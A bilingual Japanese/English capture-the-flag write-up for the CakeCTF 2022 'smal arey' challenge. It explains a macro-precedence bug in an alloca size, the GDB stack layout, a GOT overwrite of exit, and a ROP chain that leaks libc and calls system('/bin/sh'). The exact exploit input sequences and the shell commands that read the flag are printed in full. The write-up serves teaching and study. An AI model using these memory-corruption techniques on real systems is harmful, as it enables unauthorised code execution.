smal arey

TCPサーバの接続情報と、以下のファイルが与えられた。

Information to connect to a TCP server, and these files were given:

main.c は、以下の処理をするプログラムだった。

  1. ローカル変数 size に値を読み込む。
  2. 読み込んだ size が負または5より大きい場合、exit(0); で終了する。
  3. 読み込んだ size に基づいて決まる大きさの領域を確保し、ポインタをローカル変数 arr に格納する。
  4. 以下を無限に繰り返す。
    1. ローカル変数 index に値を読み込む。
    2. 読み込んだ値が負または size 以上の場合、exit(0); で終了する。
    3. arr[index] に値を読み込む。

領域の確保は、以下のマクロを用いて行われていた。

main.c was a program doing these:

  1. Read a value into a local variable size.
  2. If the size read is negative or larger than 5, stop execution via exit(0);.
  3. Allocate some region with size derived from the size read and store its pointer to a local variable arr.
  4. Repeat this infinitely:
    1. Read a value into a local variableindex.
    2. If the value read is negative, or size or more, stop execution via exit(0);.
    3. Read a value into arr[index].

The allocation was done via these macros:

#define ARRAY_SIZE(n) (n * sizeof(long)) #define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

これは (long*)alloca((n + 1 * sizeof(long))) に展開され、n の値に sizeof(long) が掛からないので、確保する領域が小さくなりそうである。

CS50 Sandboxchallobjdump -d を用いて逆アセンブルした後、
GDBで最後の scanf を呼ぶ直前にブレークポイントを置いてスタックの内容を調べると、以下のようになった。

This will be expanded to (long*)alloca((n + 1 * sizeof(long))).
sizeof(long) won't be multiplied to the value of n, so the size to be allocated will be smaller than expected.

I disassembled chall via objdump -d on CS50 Sandbox.
After that, I checked the contents in the stack using GDB by putting a breakpoint just before calling the last scanf. This is the result:

$ objdump -d chall > chall-dump.txt $ gdb ./chall Reading symbols from ./chall...(no debugging symbols found)...done. (gdb) break *0x401325 Breakpoint 1 at 0x401325 (gdb) r Starting program: /root/sandbox/chall size: 5 index: 0 value: Breakpoint 1, 0x0000000000401325 in main () (gdb) p/x $rsi $1 = 0x7fffffffe230 (gdb) p/x $rsp $2 = 0x7fffffffe230 (gdb) x/16gx $rsp 0x7fffffffe230: 0x0000000000000000 0x00007ffff7ffe170 0x7fffffffe240: 0x0000000000000000 0x00000000004011fa 0x7fffffffe250: 0x0000000000000005 0x0000000000000000 0x7fffffffe260: 0x00007fffffffe230 0x5036f555ed27a400 0x7fffffffe270: 0x0000000000401380 0x00007ffff7a03bf7 0x7fffffffe280: 0x0000000000000001 0x00007fffffffe358 0x7fffffffe290: 0x0000000100008000 0x00000000004011b6 0x7fffffffe2a0: 0x0000000000000000 0x1be814534263d8cb (gdb) p/x $rbp $3 = 0x7fffffffe270 (gdb)

ここから、以下のことが読み取れる。

したがって、配列の4要素目に大きい値を書き込むことで、値を書き込めるオフセットの範囲を増やすことができる。
さらに、配列の6要素目を書き換えることで、値を書き込むアドレスを自由に変えることができる。
これを用いて .plt.sec が参照する exit のアドレスを書き換えることで、exit(0); で実行する処理を変えることができる。

また、chall には以下の部分がある。

From this result, I found these facts:

This implies that writing some large value to the 4th element of the array will extend the maximum offset to write a value,
and that we can arbitrary set the address to write by setting the 6th element of the array.
We can change what is executed via exit(0); by using this feature to set tha address of exit used in .plt.sec.

Also note that the file chall has this part:

4013dc: 41 5c pop %r12 4013de: 41 5d pop %r13 4013e0: 41 5e pop %r14 4013e2: 41 5f pop %r15 4013e4: c3 retq

この部分は、以下のgadgetとして用いることができる。

exit(0); として実行するアドレスを「4要素をpopしてret」のものにすると、exit(0); を呼び出した時のリターンアドレスに加えてさらに3要素をpopし、3要素目からROPを実行できる。
さらに、以下のように値を配置し、printf 関数によって main 関数のリターンアドレスを出力した後、もう一度 main 関数を実行するようにした。

そして、6要素目 (書き込み先のアドレス) に exit として呼び出すアドレスのアドレス 0x404038 を書き込み、
exit として呼び出すアドレスとして 0x4013dc (4要素をpopしてret) を設定した。
最後に -1 を入力して exit(0); を呼び出させることで、用意した処理を実行させた。
ここまでを行う入力が以下である。

This part is useful as these gadgets:

Setting the address to execute as exit(0); to one of "POP 4 elements and RET", it will POP the return address recorded by the call of exit(0); and 3 more elements, and will execute ROP from the 3rd element.
Also, I placed values as described below to have it print the return address of the function main via the function printf, and execute the function main again.

After that, I put 0x404038, which is the address of the address to be called as exit to the 6th element (where to write),
and set the address to be called as exit to 0x4013dc (POP 4 elements and RET).
Finally, I executed these steps by entering -1 to have it call exit(0);.
This is my input for these process:

5 4 114514 3 4199388 8 4199393 11 4199395 12 4202507 13 4199396 14 4198544 15 4199396 16 4198838 6 4210744 0 4199388 -1

この入力を送信すると、例えば 140525264064643 が出力された。
これは16進数にすると 0x7fce96725083 である。
この下3桁を取り、CS50 Sandboxで objdump -d libc-2.31.so をした結果から 083: を検索すると、main関数を呼び出していると推測できる以下の部分が見つかった。

Sending this input, 140525264064643 was printed, for example.
This value is 0x7fce96725083 in hexadecimal.
Taking the least 3 digits, I searched for 083: from the result of objdump -d libc-2.31.so on CS50 Sandbox.
As a result, I found this part, which looks calling the function main:

24081: ff d0 callq *%rax 24083: 89 c7 mov %eax,%edi 24085: e8 b6 29 02 00 callq 46a40 <exit@@GLIBC_2.2.5>

さらに、同じダンプ内を検索することで、ダンプにおけるsystem関数のアドレスは 0x52290 だとわかった。

これらの情報を用いて、system("/bin/sh"); を実行させた。
まず、1回目と同様に4要素目に大きい値を書き込み、値を書き込む範囲の制限を解除した。
そして、以下の値を書き込んだ。

さらに、6要素目に 0x404038 を書き込むことで書き込み先を切り替えた後、以下の値を書き込んだ。

最後に exit(0); を呼び出させるために -1 を送信すると、シェルを起動できた。
すなわち、以下を送信することで、シェルを起動できた。
(address_of_system は、1回目のROPで得られた main 関数のリターンアドレスに 188941 を足した値を10進数で表した文字列に置き換える)

I also found that the address in the dump of the function system is 0x52290 by searching from the dump.

I had it execute system("/bin/sh"); using these information.
Firstly, as I did in the first part, I put some large value to the 4th element to disable the limitation of the range of where to write values.
Then, I put these values:

After that, I put 0x404038 to the 6th element to switch where to put values, and then put these values:

Finally, I sent -1 to have it call exit(0); and launch the shell.
In other words, I succeeded to launch the shell by sending this:
(address_of_system should be replaced with the return address of the function main, obtained in the first ROP, plus 188941, represented in decimal)

5 4 114514 3 4199388 8 4199395 9 4210752 10 address_of_system 6 4210744 0 4199388 1 29400045130965551 -1

起動したシェルで ls -al コマンドを実行すると、ファイル flag-c665afc224a93b0c2e4cf82abfedf180.txt があることがわかった。
続いて cat *.txt コマンドを実行すると、flagが得られた。

I executed a command ls -al in the launched shell, and found a file flag-c665afc224a93b0c2e4cf82abfedf180.txt.
I obtained the flag by executing a command cat *.txt.

CakeCTF{PRE01-C. Use parentheses within macros around parameter names}

CakeCTF 2022